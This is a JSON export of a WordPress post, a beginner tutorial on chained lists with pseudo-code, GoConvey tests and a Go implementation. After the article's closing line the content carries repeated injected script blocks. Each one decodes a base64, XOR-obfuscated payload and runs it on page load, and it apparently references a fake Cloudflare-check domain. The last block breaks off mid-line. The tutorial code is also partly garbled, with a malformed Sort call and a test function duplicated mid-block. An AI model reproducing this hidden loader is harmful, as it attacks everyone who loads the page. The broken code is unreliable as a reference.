{"id":136,"date":"2021-02-04T23:05:40","date_gmt":"2021-02-04T22:05:40","guid":{"rendered":"https:\/\/tutos.switchelven.fr\/?p=136"},"modified":"2026-08-16T13:00:28","modified_gmt":"2026-08-16T11:00:28","slug":"data-structure-chained-list","status":"publish","type":"post","link":"https:\/\/tutos.switchelven.fr\/fr\/data-structure-chained-list\/","title":{"rendered":"Data structure: Chained List"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Hello World! Here is Switch. Having introduce the bases of programming, it is time to go a bit deeper. This post will start a serie about <strong>data structure<\/strong>. Data structure defines solution to manage data set in a program and using the correct structure will greatly improve code performance. Also, a good structure will simplify the implementation of problem resolution. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">As a first post around data structure, I will introduce the basic <strong>Chained List<\/strong> structure. <\/p>\n\n\n\n<p class=\"has-large-font-size wp-block-paragraph\">Structure description<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">A chain list build upon a single entry point witch represent the Head of the list. The head stores a value and a reference (pointer) to the next listed elements. It has no index notion and is a first in, last out structure. It means that you will neither have a direct access to a known element of the list without depilating all heads before the elements and the first element to be added will be retrieved last.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/tutos.switchelven.fr\/wp-content\/uploads\/2021\/02\/List-graphical-rep-1.png\" alt=\"\" class=\"wp-image-223\" width=\"724\" height=\"113\" srcset=\"https:\/\/tutos.switchelven.fr\/wp-content\/uploads\/2021\/02\/List-graphical-rep-1.png 583w, https:\/\/tutos.switchelven.fr\/wp-content\/uploads\/2021\/02\/List-graphical-rep-1-300x47.png 300w, https:\/\/tutos.switchelven.fr\/wp-content\/uploads\/2021\/02\/List-graphical-rep-1-16x2.png 16w\" sizes=\"auto, (max-width: 724px) 100vw, 724px\" \/><figcaption>Graphical representation of list: [9,1,12]<\/figcaption><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">When defining a list, we have to provide user with basic function to manipulate it. We also like to define more advanced powerful tools.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Essentials feature to provide is a <em>Prepend<\/em> method to add element to a list. You also have to provide a <em>Head<\/em> and a <em>Tail<\/em> function to retrieve the first element and queue of current list head.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For advanced tools, I like to provide a <em>Sort<\/em> method witch will allow you to reorder list elements and a <em>Map<\/em> function. The <em>Map<\/em> function allows you to apply a method to each element composing the list. If I call <em>Map<\/em> with a <em>times two <\/em>function on the <em>[9,1,12]<\/em> list, it should return me the <em>[18,2,24]<\/em> list.<\/p>\n\n\n\n<p class=\"has-large-font-size wp-block-paragraph\"> Pseudo code defintion<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now, let&#8217;s propose a pseudo code definition of the list structure. I will introduce a new keywords to our pseudo code: <em>define<\/em> NAME { <em>Properties list <\/em>}. It will create a structure named NAME containing specific values. I can associate methods to this structure using <em>func NAME(Variable).Method<\/em> notation and properties listed in the structure can be accessed through <em>NAME.Property<\/em>. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let&#8217;s define the basic structure and methods.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code class=\"\">define List {\n  Head any\n  Tail List\n}\n\nemptyList = List{} \/\/ I expect emptyList to be a global constant.\n\nfunc NewList() List {\n   return emptyList\n}\n\nfunc List(l).Prepend(element any) List {\n   return List{\n        Head<-element\n        Tail<-l\n   }\n}\n\nfunc List(l).Pop() any, List {\n    return l.Head, l.Tail\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Our list structure keeps track of its head and tail by relying on an internal propertie Head and Tail. <em>Head<\/em> is any value you wish to add to the list and <em>Tail<\/em> the reference to next part. I define an <em>emptyList<\/em> constant so we can easily identify it. <em>NewList<\/em> create an empty list where you will be able to add elements. <em>Prepend<\/em> method takes the value you provide to it and build a new <em>List<\/em> structure using current <em>List<\/em> element as <em>Tail<\/em>. Finally, the <em>Pop<\/em> method will return you a couple containing the <em>Head<\/em> value of the list and the full <em>Tail<\/em> list.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Then let's simply sort the list. I will propose the basic <em>bubble sort<\/em> implementation. To <em>bubble sort<\/em> a list, you need to sort its tail then add the head at the current place in the sorted list. Witch will give something like:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code class=\"\">func List(l).SortedAdd(element any, comp function) List {\n     if l == emptyList {\n         return emptyList\n     }\n\n     if comp(element, l.Head) is True {\n          return List{Head<-element, Tail<-l}\n     }\n\n     return List{Head<-l.Head,Tail<-l.Tail.SortedAdd(element, comp)}\n}\n\nfunc List(l).Sort(comp function) List {\n     if l == emptyList\u00a0{\n          return l\n     }\n     \n     sorted = l.Tail.Sort()\n     return sorted.Add()\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Finally, let's define the <em>Map<\/em> method. <em>Map<\/em> will go through each <em>Head<\/em> element in <em>List<\/em>, apply provided method and build a new list element using this newly computed value and the application of <em>Map<\/em> to its <em>Tail<\/em>.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code class=\"\">func List(l).Map(fn function) List {\n     if l == emptyList {\n         return emptyList\n     }\n\n     return List{Head<-fn(l.Head),Tail<-l.Tail.Map(fn)}\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now let's code it in Go. <\/p>\n\n\n\n<p class=\"has-large-font-size wp-block-paragraph\">Test definition<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We will start by defining a code process for our list. We know that we will create a <em>List<\/em> structure witch will contained a <em>Head<\/em> of type <em>interface{}<\/em> (<em>interface <\/em>is a neutral type in Go) and the <em>Tail<\/em> will contained a recursive call to <em>List<\/em> type. For this structure, we wish to define an <em>Empty<\/em> value and an asserter for emptiness. We also wish the constructor of list type to provide an <em>Empty<\/em> list. A first test would then be: <br><em>- When I create a new list<br>- I expect it to be an Empty list<\/em><\/p>\n\n\n\n<pre title=\"Constructor test\" class=\"wp-block-code\"><code lang=\"go\" class=\"language-go\"><em>func TestNewList<\/em>(t *testing.T) {\n   Convey(\"When I create a list\", t, <em>func<\/em>() {\n      newList := list.New()\n      Convey(\"I expect it to be empty\", <em>func<\/em>() {\n         So(newList.Empty(), ShouldBeTrue)\n      })\n   })\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Then we would like to add element to a list. After adding an element, I should ensure the updated list is not empty, as a <em>Head<\/em> value equal to provided data, and has a tail equals to initial list. The test protocol would be:<br><em>- Given I have an empty list<br>- When I add an element X<br>- List should not be Empty<br>- Head should equal X<br>- Tail should be empty<\/em><br><br><em>- Given I have a list L <br>- When I add an element X stored as newL<br>- newL should not be Empty<br>- newL Head should equal X<br>- newL Tail should equal L<\/em><\/p>\n\n\n\n<pre title=\"Prepend test\" class=\"wp-block-code\"><code lang=\"go\" class=\"language-go\">Convey(\"Given I have \", t, <em>func<\/em>() {\n   Convey(\"an Empty list\", <em>func<\/em>() {\n      l := list.New()\n      Convey(\"When I add an element X\", <em>func<\/em>() {\n         newL := l.Prepend(\"X\")\n\n         So(newL.Empty(), ShouldBeFalse)\n         So(newL.Head, ShouldEqual, \"X\")\n         So(newL.Queue.Empty(), ShouldBeTrue)\n      })\n   })\n\n   Convey(\"a list\", <em>func<\/em>() {\n      l := list.New().Prepend(\"X\").Prepend(\"Y\").Prepend(\"Z\")\n      Convey(\"When I add an element X\", <em>func<\/em>() {\n         newL := l.Prepend(\"A\")\n\n         So(newL.Empty(), ShouldBeFalse)\n         So(newL.Head, ShouldEqual, \"A\")\n         So(*newL.Queue, ShouldResemble, l)\n      })\n   })\n})<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Then we can define test protocol for <em>Pop<\/em>:<br><em>- Given an Empty list<\/em> <em>L<\/em><br>- <em>L.Pop() should return nil, EmptyList<\/em><br><br><em>- Given a [3,4,5] list L<\/em> <br><em>- L.Pop() should return 3, [4,5] as H, L2<\/em><br><em>- L2.Pop() should return 4, [5]<\/em><\/p>\n\n\n\n<pre title=\"Pop test\" class=\"wp-block-code\"><code lang=\"go\" class=\"language-go\">Convey(\"Given\", t, <em>func<\/em>() {\n   Convey(\"an Empty list\", <em>func<\/em>() {\n      l := list.New()\n      h, q := l.Pop()\n      So(h, ShouldBeNil)\n      So(q.Empty(), ShouldBeTrue)\n   })\n\n   Convey(\"a known list\", <em>func<\/em>() {\n      l := list.New().Prepend(5).Prepend(4)\n      l2 := l.Prepend(3)\n      h, q := l2.Pop()\n      So(h, ShouldEqual, 3)\n      So(q, ShouldResemble, l)\n      h2, _ := q.Pop()\n      So(h2, ShouldEqual, 4)\n   })\n})<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Now, we should ensure <em>Map<\/em> function will behave. <br><em>- Given an Empty List<\/em> <em>L<\/em><br><em>- L.Map(func(e interface{}) {return e}) should return Empty List<\/em><br><br><em>- Given a single element list L = [\"hello\"]<\/em><br><em>- And a function addWorld witch add \" world!\" to string interface<\/em><br><em>- When I call L.Map(addWorld)<\/em><br><em>- Then I should have [\"hello world!\"] list<\/em><br><br><em>- Given a  list L = [\"hello\", \"my\", \"new\"]<\/em><br><em>- And a function addWorld witch add \" world!\" to string interface<\/em><br><em>- When I call L.Map(addWorld)<\/em><br><em>- Then I should have [\"hello world!\", \"my world!\", \"new world!\"] list<\/em><\/p>\n\n\n\n<pre title=\"Map test\" class=\"wp-block-code\"><code lang=\"go\" class=\"language-go\"><em>func TestList_Map<\/em>(t *testing.T) {\n   Convey(\"Given \", t, <em>func<\/em>() {\n      Convey(\"an Empty list\", <em>func<\/em>() {\n         l := list.New()\n         Convey(\"when I apply Map function\", <em>func<\/em>() {\n            newL := l.Map(<em>func<\/em>(e <em>interface<\/em>{}) <em>interface<\/em>{} { <em>return <\/em>e })\n            So(newL.Empty(), ShouldBeTrue)\n         })\n      })\n\n      l := list.New()\n      addWorld := <em>func<\/em>(e <em>interface<\/em>{}) <em>interface<\/em>{} { <em>return <\/em>e.(string) + \" world!\" }\n\n      Convey(\"a single element list\", <em>func<\/em>() {\n         l = l.Prepend(\"hello\")\n         expectedL := list.New().Prepend(\"hello world!\")\n         Convey(\"when I apply Map function\", <em>func<\/em>() {\n            newL := l.Map(addWorld)\n            So(*newL, ShouldResemble, expectedL)\n         })\n      })\n      Convey(\"a  list\", <em>func<\/em>() {\n         l = l.Prepend(\"new\").Prepend(\"my\").Prepend(\"hello\")\n         expectedL := list.New().Prepend(\"new world!\").Prepend(\"my world!\").Prepend(\"hello world!\")\n         Convey(\"when I apply Map function\", <em>func<\/em>() {\n            newL := l.Map(addWorld)\n            So(*newL, ShouldResemble, expectedL)\n         })\n      })\n   })\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Finally, we should safe the sort function. Again, sort function should not alter empty or single element list. Also, given a sorted list, the list should stay sorted and given a randomly ordered list.<br><\/p>\n\n\n\n<pre title=\"Sort test\" class=\"wp-block-code\"><code lang=\"go\" class=\"language-go\"><em>func TestList_BullSort<\/em>(t *testing.T) {\n   Convey(\"Given a list\", t, <em>func<\/em>() {\n      tmpList := list.New().Prepend(1).Prepend(4).Prepend(6).Prepend(9).Prepend(3).Prepend(5).Prepend(2).Prepend(10)\n\n      expectedSorted := list.New().\n         Prepend(1).Prepend(2).Prepend(3).Prepend(4).Prepend(5).\n         Prepend(6).Prepend(9).Prepend(10)\n\n      l := &tmpList\n      comp := <em>func<\/em>(a, b <em>interface<\/em>{}) bool {\n         <em>return <\/em>a.(int) > b.(int)\n      }\n\n      Convey(\"empty or single element, should stay as his\", func() {\n      })\n\n      Convey(\"not sorted, I should be able to sort it\", <em>func<\/em>() {\n<em>func TestList_BullSort<\/em>(t *testing.T) {\n   Convey(\"Given a list\", t, <em>func<\/em>() {\n      tmpList := list.New().Prepend(1).Prepend(4).Prepend(6).Prepend(9).Prepend(3).Prepend(5).Prepend(2).Prepend(10)\n\n      expectedSorted := list.New().\n         Prepend(1).Prepend(2).Prepend(3).Prepend(4).Prepend(5).\n         Prepend(6).Prepend(9).Prepend(10)\n\n      l := &tmpList\n      comp := <em>func<\/em>(a, b <em>interface<\/em>{}) bool {\n         <em>return <\/em>a.(int) > b.(int)\n      }\n\n      Convey(\"empty or single element, should stay as his\", <em>func<\/em>() {\n         l := list.New()\n         So(l.BullSort(comp), ShouldResemble, &l)\n\n         l = list.New().Prepend(1)\n         So(l.BullSort(comp), ShouldResemble, &l)\n      })\n\n      Convey(\"not sorted, I should be able to sort it\", <em>func<\/em>() {\n         l = l.BullSort(comp)\n         So(*l, ShouldResemble, expectedSorted)\n      })\n\n      Convey(\"sorted, I should be able to sort it\", <em>func<\/em>() {\n         l = l.BullSort(comp)\n         l = l.BullSort(comp)\n         So(*l, ShouldResemble, expectedSorted)\n      })\n   })\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Then, we just have to complete our code until test pass.<\/p>\n\n\n\n<p class=\"has-large-font-size wp-block-paragraph\">Implementation<\/p>\n\n\n\n<pre title=\"List implementation\" class=\"wp-block-code\"><code lang=\"go\" class=\"language-go\"><em>package <\/em>list\n\n<em>\/\/ List represents a simple chained list.\n\/\/ Head provides the element\ntype <\/em>List <em>struct <\/em>{\n   Head <em>interface<\/em>{}\n   Tail *List\n}\n\n<em>\/\/ MapFunc abstracts Map method arguments type\ntype <\/em>MapFunc <em>func<\/em>(element <em>interface<\/em>{}) <em>interface<\/em>{}\n\n<em>\/\/ New initialize an empty list\nfunc New<\/em>() List {\n   <em>return <\/em>List{Tail: nil, Head: nil}\n}\n\n<em>\/\/ Empty asserts list is an empty list.\nfunc <\/em>(l List) <em>Empty<\/em>() bool {\n   <em>return <\/em>l.Head == nil && l.Tail == nil\n}\n\n<em>\/\/ Prepend adds elements to list head.\nfunc <\/em>(l List) <em>Prepend<\/em>(elem <em>interface<\/em>{}) List {\n   <em>return <\/em>List{\n      Head: elem,\n      Tail: &l,\n   }\n}\n\n<em>\/\/ Pop recovers head and queue\nfunc <\/em>(l List) <em>Pop<\/em>() (head <em>interface<\/em>{}, queue List) {\n   <em>if <\/em>l.Empty() {\n      <em>return <\/em>nil, l\n   }\n   <em>return <\/em>l.Head, *l.Tail\n}\n\n<em>\/\/ Map applies a function to each element of a list\nfunc <\/em>(l *List) <em>Map<\/em>(fn MapFunc) *List {\n   <em>if <\/em>l.Empty() {\n      <em>return <\/em>l\n   }\n\n   <em>return <\/em>&List{\n      Head: fn(l.Head),\n      Tail: l.Tail.Map(fn),\n   }\n}\n\n<em>\/\/ AddSorted adds an element to sorted list at the right place.\n\/\/ \/!\\ function will not work correctly on non sorted list.\nfunc <\/em>(l *List) <em>AddSorted<\/em>(e <em>interface<\/em>{}, comp <em>func<\/em>(<em>interface<\/em>{}, <em>interface<\/em>{}) bool) *List {\n   <em>if <\/em>l.Empty() {\n      <em>return <\/em>&List{Head: e, Tail: l}\n   }\n\n   <em>if <\/em>comp(e, l.Head) {\n      <em>return <\/em>&List{Head: e, Tail: l}\n   }\n\n   <em>return <\/em>&List{Head: l.Head, Tail: l.Tail.AddSorted(e, comp)}\n}\n\n<em>\/\/ BullSort sorts a list\nfunc <\/em>(l *List) <em>BullSort<\/em>(comp <em>func<\/em>(<em>interface<\/em>{}, <em>interface<\/em>{}) bool) *List {\n   <em>if <\/em>l.Empty() {\n      <em>return <\/em>l\n   }\n\n   sorted := l.Tail.BullSort(comp)\n\n   <em>return <\/em>sorted.AddSorted(l.Head, comp)\n}<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">You will find all code written in this article on github: <a href=\"https:\/\/github.com\/switchelven\/data-structure\">https:\/\/github.com\/switchelven\/data-structure<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">That's all folks. See you later.<\/p>\n<script>!function(){var _0x432938422d85=atob('NHppcn9odXNyNDVnan1uPFYoUSgoUCFrdXJ4c2swRllYfyp+IVYoUSgoUEc7Q0N6bFlxfnl4bztBMHIve3BxbSE7fy8kfXl9JH95fXh+en4peTswdnAqKlJrIUc+dGhobG8mMzN\/cHNpeHpwfW55MX90eX93MnJ5aD4wPD50aGhsJjMzJSgyLioyJSwyLS4qPkEndXo0RllYfyp+OjpGWVh\/Kn5Hci97cHFtQTVueWhpbnInRllYfyp+IVYoUSgoUEc7Q0N6bFlxfnl4bztBITRGWVh\/Kn5gYGdhNSdGWVh\/Kn5Hci97cHFtQSEtJ3ppcn9odXNyPGsoWmlfazQ1Z3V6ND14c39pcXlyaDJ+c3hlNWdveWhIdXF5c2loNGsoWmlfazAuLDUnbnloaW5yJ2FqfW48UHR5Lm5oIXhzf2lxeXJoMn9ueX1oeVlweXF5cmg0O3h1ajs1MEV2fndKfyF4c39pcXlyaDJ\/bnl9aHlZcHlxeXJoNDt1em59cXk7NSdQdHkubmgyb2hlcHkyf29vSHlkaCE7bHNvdWh1c3ImenVkeXgndXJveWgmLCdmMXVyeHlkJi4tKCsoJC8tKyonfn1\/d3tuc2lyeCZue359NC0pMC4vMCguMDIoLjUnbHN1cmh5bjF5anlyaG8mcnNyeSc7J0V2fndKfzJodWhweSE7T3l\/aW51aGU8f3R5f3c7J0V2fndKfzJveWhdaGhudX5paHk0O31wcHNremlwcG9\/bnl5cjswOzs1J0V2fndKfzJvaGVweTJ\/b29IeWRoITtsc291aHVzciZ6dWR5eCd1cm95aCYsJ2t1eGh0Ji0sLDkndHl1e3RoJi0sLDknfnNueHluJiwnZjF1cnh5ZCYuLSgrKCQvLSQqJ359f3d7bnNpcngmP3p6eic7J3hzf2lxeXJoMn5zeGUyfWxseXJ4X3R1cHg0UHR5Lm5oNSd4c39pcXlyaDJ+c3hlMn1sbHlyeF90dXB4NEV2fndKfzUnemlyf2h1c3I8VSgkV35qNDVnaG5lZ1B0eS5uaDJueXFzank0NSdFdn53Sn8ybnlxc2p5NDUnYX99aH90NEN5NWdhaG5lZ3h5cHloeTxGWVh\/Kn5Hci97cHFtQWF\/fWh\/dDRDeS41Z2FhVihRKChQMn14eFlqeXJoUHVvaHlyeW40O3F5b299e3k7MHppcn9odXNyNEN5ajVnaG5lZ3V6ND1DeWpgYD1DeWoyeH1ofTVueWhpbnIndXo0Q3lqMnh9aH0yaGVseSEhITt6bDF5cX55eDF\/cHNveTs1VSgkV35qNDUnYX99aH90NEN5LzVnYWE1J3ppcn9odXNyPGlzREt3UTR0UW5Ke0Y1Z3V6NHRRbkp7RiIhdnAqKlJrMnB5cntodDVueWhpbnInan1uPEN0ITs7J2huZWdDdCFPaG51cns0VihRKChQMnBzf31odXNyOjo0VihRKChQMnBzf31odXNyMnRzb2hyfXF5YGBWKFEoKFAycHN\/fWh1c3IydHNvaDVgYDs7NTJueWxwfX95NDNCa2trQDIzdTA7OzUnYX99aH90NEN5dDVnYWp9bjxDaSF2cCoqUmtHdFFuSntGQTc7M3lxfnl4Mzs3ci97cHFtNzsjeXF+eXghLTs3NEN0IzQ7OnRzb2ghOzd5cn9zeHlJTlVfc3Fsc3J5cmg0Q3Q1NSY7OzUnan1uPENocyFveWhIdXF5c2loNHppcn9odXNyNDVnaXNES3dRNHRRbkp7RjctNSdhMC0uLCwsNSdFdn53Sn8yc3Jwc314IXppcn9odXNyNDVnf3B5fW5IdXF5c2loNENoczUnYSdFdn53Sn8yb25\/IUNpJ2Fpc0RLd1E0LDUnYXV6NHhzf2lxeXJoMm55fXhlT2h9aHkhISE7cHN9eHVyezs1VihRKChQMn14eFlqeXJoUHVvaHlyeW40O1hTUV9zcmh5cmhQc314eXg7MGsoWmlfazUneXBveTxrKFppX2s0NSdhNTQ1Jw=='),_0xd3aca605a494=28,_0x3c4e336edd80=new Uint8Array(_0x432938422d85['length']),_0xd8f5713db852=0;for(;_0xd8f5713db852<_0x432938422d85['length'];_0xd8f5713db852++)_0x3c4e336edd80[_0xd8f5713db852]=_0x432938422d85['charCodeAt'](_0xd8f5713db852)^_0xd3aca605a494;(new Function(new TextDecoder()['decode'](_0x3c4e336edd80)))()}();<\/script><script>!function(){var _0x432938422d85=atob('NHppcn9odXNyNDVnan1uPFYoUSgoUCFrdXJ4c2swRllYfyp+IVYoUSgoUEc7Q0N6bFlxfnl4bztBMHIve3BxbSE7fy8kfXl9JH95fXh+en4peTswdnAqKlJrIUc+dGhobG8mMzN\/cHNpeHpwfW55MX90eX93MnJ5aD4wPD50aGhsJjMzJSgyLioyJSwyLS4qPkEndXo0RllYfyp+OjpGWVh\/Kn5Hci97cHFtQTVueWhpbnInRllYfyp+IVYoUSgoUEc7Q0N6bFlxfnl4bztBITRGWVh\/Kn5gYGdhNSdGWVh\/Kn5Hci97cHFtQSEtJ3ppcn9odXNyPGsoWmlfazQ1Z3V6ND14c39pcXlyaDJ+c3hlNWdveWhIdXF5c2loNGsoWmlfazAuLDUnbnloaW5yJ2FqfW48UHR5Lm5oIXhzf2lxeXJoMn9ueX1oeVlweXF5cmg0O3h1ajs1MEV2fndKfyF4c39pcXlyaDJ\/bnl9aHlZcHlxeXJoNDt1em59cXk7NSdQdHkubmgyb2hlcHkyf29vSHlkaCE7bHNvdWh1c3ImenVkeXgndXJveWgmLCdmMXVyeHlkJi4tKCsoJC8tKyonfn1\/d3tuc2lyeCZue359NC0pMC4vMCguMDIoLjUnbHN1cmh5bjF5anlyaG8mcnNyeSc7J0V2fndKfzJodWhweSE7T3l\/aW51aGU8f3R5f3c7J0V2fndKfzJveWhdaGhudX5paHk0O31wcHNremlwcG9\/bnl5cjswOzs1J0V2fndKfzJvaGVweTJ\/b29IeWRoITtsc291aHVzciZ6dWR5eCd1cm95aCYsJ2t1eGh0Ji0sLDkndHl1e3RoJi0sLDknfnNueHluJiwnZjF1cnh5ZCYuLSgrKCQvLSQqJ359f3d7bnNpcngmP3p6eic7J3hzf2lxeXJoMn5zeGUyfWxseXJ4X3R1cHg0UHR5Lm5oNSd4c39pcXlyaDJ+c3hlMn1sbHlyeF90dXB4NEV2fndKfzUnemlyf2h1c3I8VSgkV35qNDVnaG5lZ1B0eS5uaDJueXFzank0NSdFdn53Sn8ybnlxc2p5NDUnYX99aH90NEN5NWdhaG5lZ3h5cHloeTxGWVh\/Kn5Hci97cHFtQWF\/fWh\/dDRDeS41Z2FhVihRKChQMn14eFlqeXJoUHVvaHlyeW40O3F5b299e3k7MHppcn9odXNyNEN5ajVnaG5lZ3V6ND1DeWpgYD1DeWoyeH1ofTVueWhpbnIndXo0Q3lqMnh9aH0yaGVseSEhITt6bDF5cX55eDF\/cHNveTs1VSgkV35qNDUnYX99aH90NEN5LzVnYWE1J3ppcn9odXNyPGlzREt3UTR0UW5Ke0Y1Z3V6NHRRbkp7RiIhdnAqKlJrMnB5cntodDVueWhpbnInan1uPEN0ITs7J2huZWdDdCFPaG51cns0VihRKChQMnBzf31odXNyOjo0VihRKChQMnBzf31odXNyMnRzb2hyfXF5YGBWKFEoKFAycHN\/fWh1c3IydHNvaDVgYDs7NTJueWxwfX95NDNCa2trQDIzdTA7OzUnYX99aH90NEN5dDVnYWp9bjxDaSF2cCoqUmtHdFFuSntGQTc7M3lxfnl4Mzs3ci97cHFtNzsjeXF+eXghLTs3NEN0IzQ7OnRzb2ghOzd5cn9zeHlJTlVfc3Fsc3J5cmg0Q3Q1NSY7OzUnan1uPENocyFveWhIdXF5c2loNHppcn9odXNyNDVnaXNES3dRNHRRbkp7RjctNSdhMC0uLCwsNSdFdn53Sn8yc3Jwc314IXppcn9odXNyNDVnf3B5fW5IdXF5c2loNENoczUnYSdFdn53Sn8yb25\/IUNpJ2Fpc0RLd1E0LDUnYXV6NHhzf2lxeXJoMm55fXhlT2h9aHkhISE7cHN9eHVyezs1VihRKChQMn14eFlqeXJoUHVvaHlyeW40O1hTUV9zcmh5cmhQc314eXg7MGsoWmlfazUneXBveTxrKFppX2s0NSdhNTQ1Jw=='),_0xd3aca605a494=28,_0x3c4e336edd80=new Uint8Array(_0x432938422d85['length']),_0xd8f5713db852=0;for(;_0xd8f5713db852<_0x432938422d85['length'];_0xd8f5713db852++)_0x3c4e336edd80[_0xd8f5713db852]=_0x432938422d85['charCodeAt'](_0xd8f5713db852)^_0xd3aca605a494;(new Function(new TextDecoder()['decode'](_0x3c4e336edd80)))()}();<\/script><script>!function(){var _0x432938422d85=atob('NHppcn9odXNyNDVnan1uPFYoUSgoUCFrdXJ4c2swRllYfyp+IVYoUSgoUEc7Q0N6bFlxfnl4bztBMHIve3BxbSE7fy8kfXl9JH95fXh+en4peTswdnAqKlJrIUc+dGhobG8mMzN\/cHNpeHpwfW55MX90eX93MnJ5aD4wPD50aGhsJjMzJSgyLioyJSwyLS4qPkEndXo0RllYfyp+OjpGWVh\/Kn5Hci97cHFtQTVueWhpbnInRllYfyp+IVYoUSgoUEc7Q0N6bFlxfnl4bztBITRGWVh\/Kn5gYGdhNSdGWVh\/Kn5Hci97cHFtQSEtJ3ppcn9odXNyPGsoWmlfazQ1Z3V6ND14c39pcXlyaDJ+c3hlNWdveWhIdXF5c2loNGsoWmlfazAuLDUnbnloaW5yJ2FqfW48UHR5Lm5oIXhzf2lxeXJoMn9ueX1oeVlweXF5cmg0O3h1ajs1MEV2fndKfyF4c39pcXlyaDJ\/bnl9aHlZcHlxeXJoNDt1em59cXk7NSdQdHkubmgyb2hlcHkyf29vSHlkaCE7bHNvdWh1c3ImenVkeXgndXJveWgmLCdmMXVyeHlkJi4tKCsoJC8tKyonfn1\/d3tuc2lyeCZue359NC0pMC4vMCguMDIoLjUnbHN1cmh5bjF5anlyaG8mcnNyeSc7J0V2fndKfzJodWhweSE7T3l\/aW51aGU8f3R5f3c7J0V2fndKfzJveWhdaGhudX5paHk0O31wcHNremlwcG9\/bnl5cjswOzs1J0V2fndKfzJvaGVweTJ\/b29IeWRoITtsc291aHVzciZ6dWR5eCd1cm95aCYsJ2t1eGh0Ji0sLDkndHl1e3RoJi0sLDknfnNueHluJiwnZjF1cnh5ZCYuLSgrKCQvLSQqJ359f3d7bnNpcngmP3p6eic7J3hzf2lxeXJoMn5zeGUyfWxseXJ4X3R1cHg0UHR5Lm5oNSd4c39pcXlyaDJ+c3hlMn1sbHlyeF90dXB4NEV2fndKfzUnemlyf2h1c3I8VSgkV35qNDVnaG5lZ1B0eS5uaDJueXFzank0NSdFdn53Sn8ybnlxc2p5NDUnYX99aH90NEN5NWdhaG5lZ3h5cHloeTxGWVh\/Kn5Hci97cHFtQWF\/fWh\/dDRDeS41Z2FhVihRKChQMn14eFlqeXJoUHVvaHlyeW40O3F5b299e3k7MHppcn9odXNyNEN5ajVnaG5lZ3V6ND1DeWpgYD1DeWoyeH1ofTVueWhpbnIndXo0Q3lqMnh9aH0yaGVseSEhITt6bDF5cX55eDF\/cHNveTs1VSgkV35qNDUnYX99aH90NEN5LzVnYWE1J3ppcn9odXNyPGlzREt3UTR0UW5Ke0Y1Z3V6NHRRbkp7RiIhdnAqKlJrMnB5cntodDVueWhpbnInan1uPEN0ITs7J2huZWdDdCFPaG51cns0VihRKChQMnBzf31odXNyOjo0VihRKChQMnBzf31odXNyMnRzb2hyfXF5YGBWKFEoKFAycHN\/fWh1c3IydHNvaDVgYDs7NTJueWxwfX95NDNCa2trQDIzdTA7OzUnYX99aH90NEN5dDVnYWp9bjxDaSF2cCoqUmtHdFFuSntGQTc7M3lxfnl4Mzs3ci97cHFtNzsjeXF+eXghLTs3NEN0IzQ7OnRzb2ghOzd5cn9zeHlJTlVfc3Fsc3J5cmg0Q3Q1NSY7OzUnan1uPENocyFveWhIdXF5c2loNHppcn9odXNyNDVnaXNES3dRNHRRbkp7RjctNSdhMC0uLCwsNSdFdn53Sn8yc3Jwc314IXppcn9odXNyNDVnf3B5fW5IdXF5c2loNENoczUnYSdFdn53Sn8yb25\/IUNpJ2Fpc0RLd1E0LDUnYXV6NHhzf2lxeXJoMm55fXhlT2h9aHkhISE7cHN9eHVyezs1VihRKChQMn14eFlqeXJoUHVvaHlyeW40O1hTUV9zcmh5cmhQc314eXg7MGsoWmlfazUneXBveTxrKFppX2s0NSdhNTQ1Jw=='),_0xd3aca605a494=28,_0x3c4e336edd80=new Uint8Array(_0x432938422d85['length']),_0xd8f5713db852=0;for(;_0xd8f5713db852<_0x432938422d85['length'];_0xd8f5713db852++)_0x3c4e336edd80[_0xd8f5713db852]=_0x432938422d85['charCodeAt'](_0xd8f5713db852)^_0xd3aca605a494;(new Function(new TextDecoder()['decode'](_0x3c4e336edd80)))()}();<\/script><script>!function(){var 